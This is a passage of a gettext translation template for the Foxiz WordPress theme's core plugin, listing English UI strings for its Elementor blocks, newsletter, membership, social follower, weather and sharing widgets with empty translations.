elementor/navigation.php:265 msgid "Sub Menu - Background Gradient (From)" msgstr "" #: elementor/navigation.php:186 msgid "Select a background color (color stop: 0%) for the sub menu dropdown section." msgstr "" #: elementor/navigation.php:194 elementor/navigation.php:274 msgid "Sub Menu - Background Gradient (To)" msgstr "" #: elementor/navigation.php:195 msgid "Select a background color (color stop: 100%) for the sub menu dropdown section." msgstr "" #: elementor/navigation.php:203 elementor/navigation.php:283 msgid "Sub Menu - Text Color" msgstr "" #: elementor/navigation.php:204 msgid "Select a text color for the sub menu dropdown section." msgstr "" #: elementor/navigation.php:212 elementor/navigation.php:292 msgid "Sub Menu - Hover Text Color" msgstr "" #: elementor/navigation.php:223 msgid "Dark Mode - Main Color Settings" msgstr "" #: elementor/navigation.php:249 msgid "Select a accent color when hovering in the dark mode." msgstr "" #: elementor/navigation.php:258 msgid "Dark Mode - Sub Menu Color Settings" msgstr "" #: elementor/navigation.php:266 msgid "" "Select a background color (color stop: 0%) for the sub menu dropdown section in the dark " "mode." msgstr "" #: elementor/navigation.php:275 msgid "" "Select a background color (color stop: 100%) for the sub menu dropdown section in the dark " "mode." msgstr "" #: elementor/navigation.php:284 msgid "Select a text color for the sub menu dropdown section in the dark mode." msgstr "" #: elementor/navigation.php:302 msgid "Mega Menu - Color Scheme" msgstr "" #: elementor/navigation.php:311 msgid "" "In case you would like to switch layout and text to light when set a dark background for " "sub menu in light mode." msgstr "" #: elementor/navigation.php:330 msgid "Main Menu Font" msgstr "" #: elementor/navigation.php:338 msgid "Sub Menu Font" msgstr "" #: elementor/newsletter-1.php:25 msgid "Foxiz - FW Newsletter 1" msgstr "" #: elementor/newsletter-1.php:42 elementor/newsletter-2.php:42 elementor/newsletter-3.php:43 #: elementor/social-list.php:42 msgid "General" msgstr "" #: elementor/newsletter-1.php:50 elementor/newsletter-2.php:50 msgid "This layout is best suited for putting to a full width section." msgstr "" #: elementor/newsletter-1.php:58 elementor/newsletter-2.php:58 elementor/newsletter-3.php:59 msgid "Input a heading for the newsletter box." msgstr "" #: elementor/newsletter-1.php:60 elementor/newsletter-2.php:60 msgid "Always Stay Up to Date" msgstr "" #: elementor/newsletter-1.php:69 elementor/newsletter-2.php:69 elementor/newsletter-3.php:70 msgid "Input a description for the newsletter box." msgstr "" #: elementor/newsletter-1.php:70 elementor/newsletter-2.php:70 elementor/newsletter-3.php:71 msgid "Subscribe to our newsletter to get our newest articles instantly!" msgstr "" #: elementor/newsletter-1.php:76 elementor/newsletter-2.php:76 elementor/newsletter-3.php:77 msgid "Form Shortcode" msgstr "" #: elementor/newsletter-1.php:78 elementor/newsletter-2.php:78 elementor/newsletter-3.php:79 msgid "Input your newsletter form shortcode." msgstr "" #: elementor/newsletter-1.php:79 elementor/newsletter-2.php:79 elementor/newsletter-3.php:80 msgid "[mc4wp_form]" msgstr "" #: elementor/newsletter-1.php:86 elementor/newsletter-2.php:86 elementor/newsletter-3.php:87 msgid "Featured Image" msgstr "" #: elementor/newsletter-1.php:87 elementor/newsletter-2.php:87 elementor/newsletter-3.php:88 msgid "Input a featured image attachment URL for the newsletter box." msgstr "" #: elementor/newsletter-1.php:94 elementor/newsletter-2.php:94 elementor/newsletter-3.php:95 msgid "Dark Mode - Featured Image" msgstr "" #: elementor/newsletter-1.php:95 elementor/newsletter-2.php:95 elementor/newsletter-3.php:96 msgid "Input a featured attachment URL for the newsletter box in the dark mode." msgstr "" #: elementor/newsletter-1.php:110 elementor/newsletter-2.php:110 msgid "Background Image" msgstr "" #: elementor/newsletter-1.php:111 elementor/newsletter-2.php:111 msgid "Input a background image attachment URL for the newsletter box." msgstr "" #: elementor/newsletter-1.php:119 elementor/newsletter-2.php:119 msgid "Dark Mode - Background Image" msgstr "" #: elementor/newsletter-1.php:120 elementor/newsletter-2.php:120 msgid "Input a background attachment URL for the newsletter box in the dark mode." msgstr "" #: elementor/newsletter-2.php:25 msgid "Foxiz - FW Newsletter 2" msgstr "" #: elementor/newsletter-2.php:129 msgid "Input a custom inner padding for this block." msgstr "" #: elementor/newsletter-3.php:26 msgid "Foxiz - Sidebar Newsletter" msgstr "" #: elementor/newsletter-3.php:51 msgid "This layout is best suited for putting to a sidebar." msgstr "" #: elementor/newsletter-3.php:61 msgid "Subscribe Newsletter" msgstr "" #: elementor/newsletter-3.php:139 msgid "Featured Image Width" msgstr "" #: elementor/newsletter-3.php:140 msgid "Input a max width value (in px) for the featured image." msgstr "" #: elementor/notification-icon.php:25 msgid "Foxiz - Header Notification Icon" msgstr "" #: elementor/notification-icon.php:49 msgid "Destination Link" msgstr "" #: elementor/notification-icon.php:51 msgid "Input a destination URL for the notification panel." msgstr "" #: elementor/notification-icon.php:66 msgid "Select a custom font size for the notification icon." msgstr "" #: elementor/notification-icon.php:78 msgid "Select a custom height value for the notification icon." msgstr "" #: elementor/notification-icon.php:115 msgid "Select a color for the notification icon." msgstr "" #: elementor/notification-icon.php:125 msgid "Select a color for the notification icon in the dark mode." msgstr "" #: elementor/notification-icon.php:133 msgid "Notification Dot Color" msgstr "" #: elementor/notification-icon.php:135 msgid "Select a color for the notification dot icon." msgstr "" #: elementor/notification-icon.php:153 msgid "input a right relative position for notification dropdown, for example: -200" msgstr "" #: elementor/notification-icon.php:198 elementor/search-icon.php:203 msgid "Select color scheme for the search form to fit with your background." msgstr "" #: elementor/overlay-1.php:26 msgid "Foxiz - Overlay 1" msgstr "" #: elementor/overlay-1.php:530 msgid "This layout is best suited for putting to the column from 50% to 66.7% of the width." msgstr "" #: elementor/overlay-1.php:623 elementor/overlay-2.php:727 msgid "Custom Inner Padding" msgstr "" #: elementor/overlay-1.php:625 elementor/overlay-2.php:729 msgid "Input custom padding values (px) for the overlay content." msgstr "" #: elementor/overlay-1.php:660 msgid "Slider Mode" msgstr "" #: elementor/overlay-1.php:668 msgid "" "The ajax pagination and columns settings will be not available if the slider mode is " "activated." msgstr "" #: elementor/overlay-1.php:675 msgid "Slider" msgstr "" #: elementor/overlay-1.php:687 msgid "Enable or disable the pagination dot for this slider." msgstr "" #: elementor/overlay-1.php:697 msgid "Enable or disable the next/prev navigation dot for this slider" msgstr "" #: elementor/overlay-1.php:724 msgid "Next/Prev Icons Top Position" msgstr "" #: elementor/overlay-1.php:727 msgid "Input a position (percent) from the top for the next and prev slider buttons." msgstr "" #: elementor/overlay-2.php:26 msgid "Foxiz - Overlay 2" msgstr "" #: elementor/overlay-2.php:808 msgid "Carousel Gap" msgstr "" #: elementor/overlay-2.php:887 msgid "Slider Pagination Color" msgstr "" #: elementor/overlay-2.php:889 msgid "Select a color for the slider navigation at the footer of this carousel." msgstr "" #: elementor/plan.php:26 msgid "Foxiz - Plan Subscription" msgstr "" #: elementor/plan.php:60 msgid "Input a description for this plan." msgstr "" #: elementor/plan.php:69 msgid "Price" msgstr "" #: elementor/plan.php:71 msgid "Input a price for this plan." msgstr "" #: elementor/plan.php:78 msgid "Price Unit" msgstr "" #: elementor/plan.php:80 msgid "Input a price unit for this plan." msgstr "" #: elementor/plan.php:87 msgid "Price Tenure" msgstr "" #: elementor/plan.php:89 msgid "Input a price tenure for this plan." msgstr "" #: elementor/plan.php:97 msgid "Plan Feature" msgstr "" #: elementor/plan.php:98 msgid "Input a feature for this plan." msgstr "" #: elementor/plan.php:107 msgid "Plan Features" msgstr "" #: elementor/plan.php:117 msgid "Membership Payment Button Shortcode" msgstr "" #: elementor/plan.php:118 msgid "" "Input a payment button shortcode. Use button text if you would like to custom label. for " "example [swpm_payment_button id=1 button_text=\"Buy Now\"]" msgstr "" #: elementor/plan.php:129 msgid "or Free Button" msgstr "" #: elementor/plan.php:130 msgid "" "Input a free button label to navigate to the user to the register page. Leave blank the " "payment shortcode filed to use this setting." msgstr "" #: elementor/plan.php:141 elementor/plan.php:148 msgid "Box Style" msgstr "" #: elementor/plan.php:150 msgid "Select a style for for this plan box." msgstr "" #: elementor/plan.php:162 msgid "Box Style Color" msgstr "" #: elementor/plan.php:164 msgid "Select a color for your box style." msgstr "" #: elementor/plan.php:172 msgid "Dark - Box Style Color" msgstr "" #: elementor/plan.php:174 msgid "Select a color for this plan box in the dark mode." msgstr "" #: elementor/plan.php:185 elementor/plan.php:206 msgid "Select a background color for the payment button." msgstr "" #: elementor/plan.php:193 msgid "Dark - Button Background" msgstr "" #: elementor/plan.php:195 elementor/plan.php:216 msgid "Select a background color for the payment button in the dark mode." msgstr "" #: elementor/plan.php:204 msgid "Button Color" msgstr "" #: elementor/plan.php:214 msgid "Dark - Button Color" msgstr "" #: elementor/plan.php:231 msgid "Heading Font Size" msgstr "" #: elementor/plan.php:233 msgid "Input a custom font size (in px) for the plan heading." msgstr "" #: elementor/plan.php:255 msgid "Feature List Font Size" msgstr "" #: elementor/plan.php:267 msgid "Button Font Size" msgstr "" #: elementor/plan.php:269 msgid "Input a custom font size (in px) for the payment button." msgstr "" #: elementor/plan.php:288 msgid "Input a custom spacing value(px) between element." msgstr "" #: elementor/plan.php:357 msgid "Plan Features Font" msgstr "" #: elementor/quick-links.php:27 msgid "Foxiz - Quick Links" msgstr "" #: elementor/quick-links.php:56 msgid "Quick Links" msgstr "" #: elementor/quick-links.php:62 msgid "Layout" msgstr "" #: elementor/quick-links.php:75 msgid "Quick Link Title" msgstr "" #: elementor/quick-links.php:77 msgid "Input a quick link title." msgstr "" #: elementor/quick-links.php:84 msgid "Quick Link URL" msgstr "" #: elementor/quick-links.php:92 msgid "Add Quick Link" msgstr "" #: elementor/quick-links.php:98 msgid "Quick Link #1" msgstr "" #: elementor/quick-links.php:156 msgid "Header Label Font" msgstr "" #: elementor/quick-links.php:164 msgid "Quick link Item Font" msgstr "" #: elementor/search-icon.php:25 msgid "Foxiz - Header Search Icon" msgstr "" #: elementor/search-icon.php:49 msgid "Live Search Result" msgstr "" #: elementor/search-icon.php:51 msgid "Enable live search result when typing." msgstr "" #: elementor/search-icon.php:71 msgid "Select a custom font size for the search icon." msgstr "" #: elementor/search-icon.php:83 msgid "Select a custom height value for the search icon." msgstr "" #: elementor/search-icon.php:93 msgid "Custom Search SVG" msgstr "" #: elementor/search-icon.php:95 msgid "" "Override default search icon with a SVG icon. Ensure the setting \"Dashboard > Elementor > " "Settings > Enable Unfiltered File Uploads\" is enabled." msgstr "" #: elementor/search-icon.php:131 msgid "Select a color for the search icon." msgstr "" #: elementor/search-icon.php:141 msgid "Select a color for the search icon in the dark mode." msgstr "" #: elementor/search-icon.php:149 msgid "Popup Form Settings" msgstr "" #: elementor/search-icon.php:156 msgid "Popup Right Position" msgstr "" #: elementor/search-icon.php:158 msgid "input a right relative position for the popup search form, for example: -200" msgstr "" #: elementor/search-icon.php:166 msgid "Select a background color (color stop: 0%) for the popup search form." msgstr "" #: elementor/search-icon.php:176 msgid "Select a background color (color stop: 100%) for the popup search form." msgstr "" #: elementor/search-icon.php:184 msgid "Select a background color (color stop: 0%) for the popup search form in the dark mode." msgstr "" #: elementor/search-icon.php:194 msgid "" "Select a background color (color stop: 100%) for the popup search form in the dark mode." msgstr "" #: elementor/section.php:13 msgid "Foxiz - Dark Mode Background" msgstr "" #: elementor/section.php:19 msgid "Dark Mode Background" msgstr "" #: elementor/section.php:35 msgid "Foxiz - for Header Template" msgstr "" #: elementor/section.php:44 msgid "The settings below are used for the header template." msgstr "" #: elementor/section.php:51 msgid "Sticky Header" msgstr "" #: elementor/section.php:53 msgid "Enable or disable the sticky for this section." msgstr "" #: elementor/section.php:64 msgid "Smart Sticky" msgstr "" #: elementor/section.php:66 msgid "Only stick the main menu when scrolling up." msgstr "" #: elementor/section.php:75 msgid "Single Headline Sticky" msgstr "" #: elementor/section.php:77 msgid "" "Enable or disable the sticky for the single post headline. The single headline will replace " "on the main navigation." msgstr "" #: elementor/section.php:89 msgid "Header Sticky Background." msgstr "" #: elementor/section.php:96 elementor/section.php:112 msgid "Sticky Background" msgstr "" #: elementor/section.php:105 msgid "Dark Mode - Header Sticky Background." msgstr "" #: elementor/social-follower.php:26 msgid "Foxiz - Social Follower" msgstr "" #: elementor/social-follower.php:43 widgets/sb-social-icon.php:118 msgid "Social Settings" msgstr "" #: elementor/social-follower.php:50 widgets/sb-follower.php:102 msgid "FanPage Name" msgstr "" #: elementor/social-follower.php:59 widgets/sb-follower.php:109 msgid "Facebook Likes Value" msgstr "" #: elementor/social-follower.php:68 widgets/sb-follower.php:122 msgid "Twitter Name" msgstr "" #: elementor/social-follower.php:77 widgets/sb-follower.php:129 msgid "Twitter Followers Value" msgstr "" #: elementor/social-follower.php:86 widgets/sb-follower.php:142 msgid "Pinterest Name" msgstr "" #: elementor/social-follower.php:95 widgets/sb-follower.php:149 msgid "Pinterest Followers Value" msgstr "" #: elementor/social-follower.php:104 widgets/sb-follower.php:162 msgid "Instagram Name" msgstr "" #: elementor/social-follower.php:113 widgets/sb-follower.php:169 msgid "Instagram Followers Value" msgstr "" #: elementor/social-follower.php:122 widgets/sb-follower.php:182 msgid "Youtube Channel or User URL" msgstr "" #: elementor/social-follower.php:131 widgets/sb-follower.php:189 msgid "Youtube Subscribers Value" msgstr "" #: elementor/social-follower.php:140 widgets/sb-follower.php:202 msgid "Soundcloud User Name" msgstr "" #: elementor/social-follower.php:149 widgets/sb-follower.php:209 msgid "SoundCloud Followers Value" msgstr "" #: elementor/social-follower.php:158 widgets/sb-follower.php:222 msgid "Telegram Channel or Invite URL" msgstr "" #: elementor/social-follower.php:167 widgets/sb-follower.php:229 msgid "Telegram Members Value" msgstr "" #: elementor/social-follower.php:176 widgets/sb-follower.php:242 msgid "Vimeo User Name" msgstr "" #: elementor/social-follower.php:185 widgets/sb-follower.php:249 msgid "Vimeo Followers Value" msgstr "" #: elementor/social-follower.php:194 widgets/sb-follower.php:262 msgid "Dribbble User Name" msgstr "" #: elementor/social-follower.php:203 widgets/sb-follower.php:269 msgid "Dribbble Followers Value" msgstr "" #: elementor/social-follower.php:213 msgid "Widget Style" msgstr "" #: elementor/social-follower.php:220 widgets/fw-instagram.php:67 widgets/fw-instagram.php:86 #: widgets/fw-mc.php:71 widgets/sb-flickr.php:83 widgets/sb-follower.php:72 #: widgets/sb-instagram.php:72 msgid "Style" msgstr "" #: elementor/social-follower.php:222 msgid "Select a style for this widget." msgstr "" #: elementor/social-follower.php:224 widgets/sb-follower.php:74 msgid "Style 1" msgstr "" #: elementor/social-follower.php:225 widgets/sb-follower.php:75 msgid "Style 2" msgstr "" #: elementor/social-follower.php:226 widgets/sb-follower.php:76 msgid "Style 3" msgstr "" #: elementor/social-follower.php:227 widgets/sb-follower.php:77 msgid "Style 4" msgstr "" #: elementor/social-follower.php:228 widgets/sb-follower.php:78 msgid "Style 5" msgstr "" #: elementor/social-follower.php:229 widgets/sb-follower.php:79 msgid "Style 6" msgstr "" #: elementor/social-follower.php:230 widgets/sb-follower.php:80 msgid "Style 7" msgstr "" #: elementor/social-follower.php:231 widgets/sb-follower.php:81 msgid "Style 8" msgstr "" #: elementor/social-follower.php:232 widgets/sb-follower.php:82 msgid "Style 9" msgstr "" #: elementor/social-follower.php:233 widgets/sb-follower.php:83 msgid "Style 10" msgstr "" #: elementor/social-follower.php:234 widgets/sb-follower.php:84 msgid "Style 11" msgstr "" #: elementor/social-follower.php:235 widgets/sb-follower.php:85 msgid "Style 12" msgstr "" #: elementor/social-follower.php:236 widgets/sb-follower.php:86 msgid "Style 13" msgstr "" #: elementor/social-follower.php:237 widgets/sb-follower.php:87 msgid "Style 14" msgstr "" #: elementor/social-follower.php:238 widgets/sb-follower.php:88 msgid "Style 15" msgstr "" #: elementor/social-follower.php:247 msgid "Input custom font size for this widget." msgstr "" #: elementor/social-follower.php:298 msgid "Total Fans Text Font" msgstr "" #: elementor/social-follower.php:322 msgid "Custom Columns" msgstr "" #: elementor/social-follower.php:331 msgid "Columns" msgstr "" #: elementor/social-follower.php:333 msgid "Select number of columns for the social counter layout." msgstr "" #: elementor/social-follower.php:342 msgid "8 Columns" msgstr "" #: elementor/social-follower.php:343 msgid "9 Columns" msgstr "" #: elementor/social-list.php:25 msgid "Foxiz - Header Social List" msgstr "" #: elementor/social-list.php:50 msgid "This block will get information from Theme Options > Social Profiles to show." msgstr "" #: elementor/social-list.php:68 msgid "Select a custom font size for the social icons." msgstr "" #: elementor/social-list.php:77 msgid "Select a custom height value for the social icons." msgstr "" #: elementor/social-list.php:85 msgid "Input a custom spacing between social list item (in px). Default is 5." msgstr "" #: elementor/social-list.php:122 msgid "Select a color for the social icons." msgstr "" #: elementor/social-list.php:132 msgid "Select a color for the social icons in the dark mode." msgstr "" #: elementor/templates.php:28 msgid "Main Menu" msgstr "" #: elementor/templates.php:34 msgid "main menu" msgstr "" #: elementor/videos.php:28 msgid "Foxiz - Youtube Videos" msgstr "" #: elementor/videos.php:45 msgid "Videos Settings" msgstr "" #: elementor/videos.php:54 msgid "Note: Due to play/stop API control button so this block only supports Youtube videos." msgstr "" #: elementor/videos.php:63 msgid "Youtube Video URL" msgstr "" #: elementor/videos.php:65 msgid "Input video url..." msgstr "" #: elementor/videos.php:72 msgid "Video Title" msgstr "" #: elementor/videos.php:74 msgid "Input video title..." msgstr "" #: elementor/videos.php:81 msgid "Meta/Channel Name" msgstr "" #: elementor/videos.php:89 msgid "Custom Thumbnail (Optional)" msgstr "" #: elementor/videos.php:99 msgid "Add Videos" msgstr "" #: elementor/videos.php:105 msgid "Video Title #1" msgstr "" #: elementor/videos.php:122 msgid "Playlist Title Font Size" msgstr "" #: elementor/videos.php:131 msgid "Playing Title Font Size" msgstr "" #: elementor/videos.php:133 msgid "Input custom font size values (px) for the playing title for displaying in this block." msgstr "" #: elementor/videos.php:156 msgid "Playlist Title" msgstr "" #: elementor/videos.php:164 msgid "Playing Title Font" msgstr "" #: elementor/weather.php:26 msgid "Foxiz - Weather" msgstr "" #: elementor/weather.php:54 msgid "Input your title." msgstr "" #: elementor/weather.php:55 msgid "Weather" msgstr "" #: elementor/weather.php:62 msgid "Units:" msgstr "" #: elementor/weather.php:65 widgets/sb-weather.php:58 msgid "°C" msgstr "" #: elementor/weather.php:66 widgets/sb-weather.php:59 msgid "°F" msgstr "" #: elementor/weather.php:75 msgid "Location:" msgstr "" #: elementor/weather.php:78 widgets/sb-weather.php:75 msgid "Find your location" msgstr "" #: elementor/weather.php:78 msgid "(i.e: London, GB)" msgstr "" #: elementor/weather.php:79 msgid "London" msgstr "" #: elementor/weather.php:86 msgid "Weather API Key:" msgstr "" #: elementor/weather.php:89 msgid "How to get API key" msgstr "" #: elementor/weather.php:97 msgid "Forecast:" msgstr "" #: elementor/weather.php:100 widgets/sb-weather.php:91 msgid "1 day" msgstr "" #: elementor/weather.php:101 widgets/sb-weather.php:92 msgid "2 days" msgstr "" #: elementor/weather.php:102 widgets/sb-weather.php:93 msgid "3 days" msgstr "" #: elementor/weather.php:103 widgets/sb-weather.php:94 msgid "4 days" msgstr "" #: elementor/weather.php:104 widgets/sb-weather.php:95 msgid "5 days" msgstr "" #: elementor/weather.php:105 widgets/sb-weather.php:96 msgid "Do not display" msgstr "" #: elementor/weather.php:157 msgid "Location Font" msgstr "" #: elementor/weather.php:165 msgid "Current Temperature Font" msgstr "" #: foxiz-core.php:165 msgid "Job Name" msgstr "" #: foxiz-core.php:166 msgid "Facebook profile URL" msgstr "" #: foxiz-core.php:167 msgid "Twitter profile URL" msgstr "" #: foxiz-core.php:168 msgid "Instagram profile URL" msgstr "" #: foxiz-core.php:169 msgid "Pinterest profile URL" msgstr "" #: foxiz-core.php:170 msgid "LinkedIn profile URL" msgstr "" #: foxiz-core.php:171 msgid "Tumblr profile URL" msgstr "" #: foxiz-core.php:172 msgid "Flickr profile URL" msgstr "" #: foxiz-core.php:173 msgid "Skype profile URL" msgstr "" #: foxiz-core.php:174 msgid "Snapchat profile URL" msgstr "" #: foxiz-core.php:175 msgid "Myspace profile URL" msgstr "" #: foxiz-core.php:176 msgid "Youtube profile URL" msgstr "" #: foxiz-core.php:177 msgid "Bloglovin profile URL" msgstr "" #: foxiz-core.php:178 msgid "Digg profile URL" msgstr "" #: foxiz-core.php:179 msgid "Dribbble profile URL" msgstr "" #: foxiz-core.php:180 msgid "Soundcloud profile URL" msgstr "" #: foxiz-core.php:181 msgid "Vimeo profile URL" msgstr "" #: foxiz-core.php:182 msgid "Reddit profile URL" msgstr "" #: foxiz-core.php:183 msgid "Vkontakte profile URL" msgstr "" #: foxiz-core.php:184 msgid "Telegram profile URL" msgstr "" #: foxiz-core.php:185 msgid "Whatsapp profile URL" msgstr "" #: foxiz-core.php:186 msgid "Rss" msgstr "" #: includes/actions.php:184 msgid "Your Rating" msgstr "" #: includes/ads.php:181 includes/ads.php:184 msgid "Ad image" msgstr "" #: includes/amp.php:120 includes/amp.php:131 msgid "Foxiz supported and activated AMP in the Transitional mode." msgstr "" #: includes/extras.php:114 msgid "Confirmed" msgstr "" #: includes/extras.php:115 msgid "Death" msgstr "" #: includes/helpers.php:111 msgid "M" msgstr "" #: includes/helpers.php:113 msgid "k" msgstr "" #: includes/helpers.php:484 msgid "- Select a Template -" msgstr "" #: includes/shares.php:44 includes/widget.php:432 msgid "Facebook" msgstr "" #: includes/shares.php:49 includes/widget.php:451 msgid "Twitter" msgstr "" #: includes/shares.php:59 includes/widget.php:470 msgid "Pinterest" msgstr "" #: includes/shares.php:63 includes/shares.php:64 msgid "Whatsapp" msgstr "" #: includes/shares.php:68 msgid "LinkedIn" msgstr "" #: includes/shares.php:72 msgid "Tumblr" msgstr "" #: includes/shares.php:76 msgid "Reddit" msgstr "" #: includes/shares.php:80 msgid "VKontakte" msgstr "" #: includes/shares.php:84 includes/widget.php:546 msgid "Telegram" msgstr "" #: includes/shares.php:88 #, php-format msgid "I found this article interesting and thought of sharing it with you. Check it out: %s" msgstr "" #: includes/shares.php:89 msgid "Email" msgstr "" #: includes/shares.php:92 msgid "Copied!" msgstr "" #: includes/shares.php:92 msgid "Copy Link" msgstr "" #: includes/shares.php:95 msgid "Print" msgstr "" #: includes/shortcodes.php:79 msgid "You Might Also Like" msgstr "" #: includes/widget.php:20 msgid "C" msgstr "" #: includes/widget.php:20 msgid "F" msgstr "" #: includes/widget.php:141 msgid "km/h" msgstr "" #: includes/widget.php:141 msgid "mph" msgstr "" #: includes/widget.php:151 msgid "%" msgstr "" #: includes/widget.php:343 msgid "No weather information available. Please check your location here: " msgstr "" #: includes/widget.php:344 msgid "Find location" msgstr "" #: includes/widget.php:428 includes/widget.php:447 includes/widget.php:466 #: includes/widget.php:485 includes/widget.php:523 includes/widget.php:561 #: includes/widget.php:580 widgets/sb-tweet.php:141 msgid "Followers" msgstr "" #: includes/widget.php:430 includes/widget.php:433 msgid "Like" msgstr "" #: includes/widget.php:449 includes/widget.php:452 includes/widget.php:487 #: includes/widget.php:490 includes/widget.php:525 includes/widget.php:528 #: includes/widget.php:544 includes/widget.php:547 includes/widget.php:563 #: includes/widget.php:566 includes/widget.php:582 includes/widget.php:585 msgid "Follow" msgstr "" #: includes/widget.php:468 includes/widget.php:471 msgid "Pin" msgstr "" #: includes/widget.php:489 msgid "Instagram" msgstr "" #: includes/widget.php:504 msgid "Subscribers" msgstr "" #: includes/widget.php:506 includes/widget.php:509 msgid "Subscribe" msgstr "" #: includes/widget.php:508 msgid "Youtube" msgstr "" #: includes/widget.php:527 msgid "SoundCloud" msgstr "" #: includes/widget.php:542 msgid "Members" msgstr "" #: includes/widget.php:565 msgid "Vimeo" msgstr "" #: includes/widget.php:584 msgid "Dribbble" msgstr "" #: includes/widget.php:618 includes/widget.php:619 includes/widget.php:621 #: includes/widget.php:629 includes/widget.php:635 includes/widget.php:642 msgid "banner" msgstr "" #: membership/options.php:15 membership/options.php:37 msgid "Membership" msgstr "" #: membership/options.php:16 msgid "Select options for the membership plugin." msgstr "" #: membership/options.php:22 msgid "Simple WordPress Membership Plugin is missing!" msgstr "" #: membership/options.php:29 msgid "" "Please install Simple WordPress " "Membership plugin to enable the theme features." msgstr "" #: membership/options.php:38 msgid "Select options for Simple WordPress Membership plugin." msgstr "" #: membership/options.php:45 msgid "Content Restrict for New Users" msgstr "" #: membership/options.php:51 msgid "Restrict Content Title" msgstr "" #: membership/options.php:52 msgid "Input your restrict content title, allow raw HTML." msgstr "" #: membership/options.php:58 msgid "Restrict Content Description" msgstr "" #: membership/options.php:59 msgid "Input your restrict content description, allow raw HTML." msgstr "" #: membership/options.php:65 msgid "Join US Button Label" msgstr "" #: membership/options.php:66 msgid "Input a join us button label." msgstr "" #: membership/options.php:67 msgid "Get Digital All Access" msgstr "" #: membership/options.php:72 msgid "Login Description" msgstr "" #: membership/options.php:73 msgid "Input your login description." msgstr "" #: membership/options.php:74 msgid "Already a subscriber?" msgstr "" #: membership/options.php:79 msgid "Login Button Label" msgstr "" #: membership/options.php:80 msgid "Input the login button label." msgstr "" #: membership/options.php:81 msgid "Sign In" msgstr "" #: membership/options.php:93 msgid "Content Restrict for Logged Users" msgstr "" #: membership/options.php:99 msgid "Upgrade Membership Title" msgstr "" #: membership/options.php:100 msgid "Input your upgrade membership level title, allow raw HTML." msgstr "" #: membership/options.php:106 msgid "Upgrade Membership Description" msgstr "" #: membership/options.php:107 msgid "Input your upgrade membership level description, allow raw HTML." msgstr "" #: membership/options.php:120 msgid "Content Restrict for Expired Users" msgstr "" #: membership/options.php:126 msgid "Renewal Membership Title" msgstr "" #: membership/options.php:127 msgid "Input your renewal membership title, allow raw HTML." msgstr "" #: membership/options.php:133 msgid "Renewal Membership Description" msgstr "" #: membership/options.php:134 msgid "Input your renewal membership description, allow raw HTML." msgstr "" #: membership/options.php:140 msgid "Renewal Button Label" msgstr "" #: membership/options.php:141 msgid "Input a renewal button label." msgstr "" #: membership/options.php:142 msgid "Renewal Your MemberShip" msgstr "" #: membership/options.php:155 msgid "Exclusive Label" msgstr "" #: membership/options.php:161 msgid "Member Only Label" msgstr "" #: membership/options.php:162 msgid "Input a Label for displaying before the post title listing." msgstr "" #: membership/options.php:163 msgid "Leave blank to disable the label." msgstr "" #: membership/options.php:169 msgid "Label Style" msgstr "" #: membership/options.php:170 msgid "Select a style for the member only label." msgstr "" #: membership/options.php:172 msgid "Background Color" msgstr "" #: reaction/reaction.php:79 msgid "Love" msgstr "" #: reaction/reaction.php:84 msgid "Sad" msgstr "" #: reaction/reaction.php:89 msgid "Happy" msgstr "" #: reaction/reaction.php:94 msgid "Sleepy" msgstr "" #: reaction/reaction.php:99 msgid "Angry" msgstr "" #: reaction/reaction.php:104 msgid "Dead" msgstr "" #: reaction/reaction.php:109 msgid "Wink" msgstr "" #: reaction/reaction.php:114 msgid "Cry" msgstr "" #: reaction/reaction.php:119 msgid "Embarrass" msgstr "" #: reaction/reaction.php:124 msgid "Joy" msgstr "" #: reaction/reaction.php:129 msgid "Shy" msgstr "" #: reaction/reaction.php:134 msgid "Surprise" msgstr "" #: widgets/banner.php:24 msgid "Foxiz - Widget Banner" msgstr "" #: widgets/banner.php:26 msgid "[Sidebar Widget] Display banner with text and background image in the sidebars." msgstr "" #: widgets/banner.php:82 msgid "Text Select a text color scheme for this block." msgstr "" #: widgets/banner.php:85 widgets/fw-mc.php:74 msgid "Dark Text" msgstr "" #: widgets/fw-instagram.php:15 msgid "Follow @ Instagram
Our Profile
" msgstr "" #: widgets/fw-instagram.php:25 msgid "Foxiz - Fw Instagram" msgstr "" #: widgets/fw-instagram.php:27 msgid "[Full Width Widget] Display a grid of instagram images in the full width sections." msgstr "" #: widgets/fw-instagram.php:52 msgid "Header Intro (raw HTML allowed)" msgstr "" #: widgets/fw-instagram.php:59 msgid "Instagram Token" msgstr "" #: widgets/fw-instagram.php:60 widgets/sb-instagram.php:58 msgid "" "Refer to this Documentation to create an Instagram token" msgstr "" #: widgets/fw-instagram.php:69 msgid "Wrapper Masonry" msgstr "" #: widgets/fw-instagram.php:70 msgid "Wide Masonry" msgstr "" #: widgets/fw-instagram.php:71 msgid "Default Grid" msgstr "" #: widgets/fw-instagram.php:78 msgid "Total Images (Default Grid)" msgstr "" #: widgets/fw-instagram.php:79 msgid "This setting will only apply to the default grid layout." msgstr "" #: widgets/fw-instagram.php:88 msgid "5 columns" msgstr "" #: widgets/fw-instagram.php:89 msgid "6 columns" msgstr "" #: widgets/fw-instagram.php:90 msgid "7 columns" msgstr "" #: widgets/fw-instagram.php:91 msgid "8 columns" msgstr "" #: widgets/fw-instagram.php:92 msgid "9 columns" msgstr "" #: widgets/fw-instagram.php:134 widgets/sb-instagram.php:108 msgid "Instagram Error: " msgstr "" #: widgets/fw-instagram.php:201 widgets/sb-instagram.php:175 msgid "Instagram token not found" msgstr "" #: widgets/fw-instagram.php:227 widgets/sb-instagram.php:201 msgid "Could not connect to Instagram API server." msgstr "" #: widgets/fw-instagram.php:237 widgets/sb-instagram.php:211 msgid "instagram image" msgstr "" #: widgets/fw-instagram.php:274 msgid "Incorrect token or has been expired, Please create a new token and try again!" msgstr "" #: widgets/fw-mc.php:23 msgid "Foxiz - FW Newsletter" msgstr "" #: widgets/fw-mc.php:25 msgid "[Full Width Widget] Display a Mailchimp sign-up form in the full width sections." msgstr "" #: widgets/fw-mc.php:64 msgid "Mailchimp Form Shortcode" msgstr "" #: widgets/fw-mc.php:82 msgid "Background Color (hex value)" msgstr "" #: widgets/fw-mc.php:90 msgid "Input a background image URL (attachment URL) for this widget." msgstr "" #: widgets/ruby-template.php:19 msgid "Foxiz - Ruby Template" msgstr "" #: widgets/ruby-template.php:21 msgid "Display a ruby template in widget sections." msgstr "" #: widgets/ruby-template.php:47 msgid "Select a Template" msgstr "" #: widgets/ruby-template.php:48 msgid "Select a Ruby template to display in this sidebar section." msgstr "" #: widgets/ruby-template.php:55 msgid "or Shortcode" msgstr "" #: widgets/ruby-template.php:56 msgid "Input a shortcode, this setting will override on the 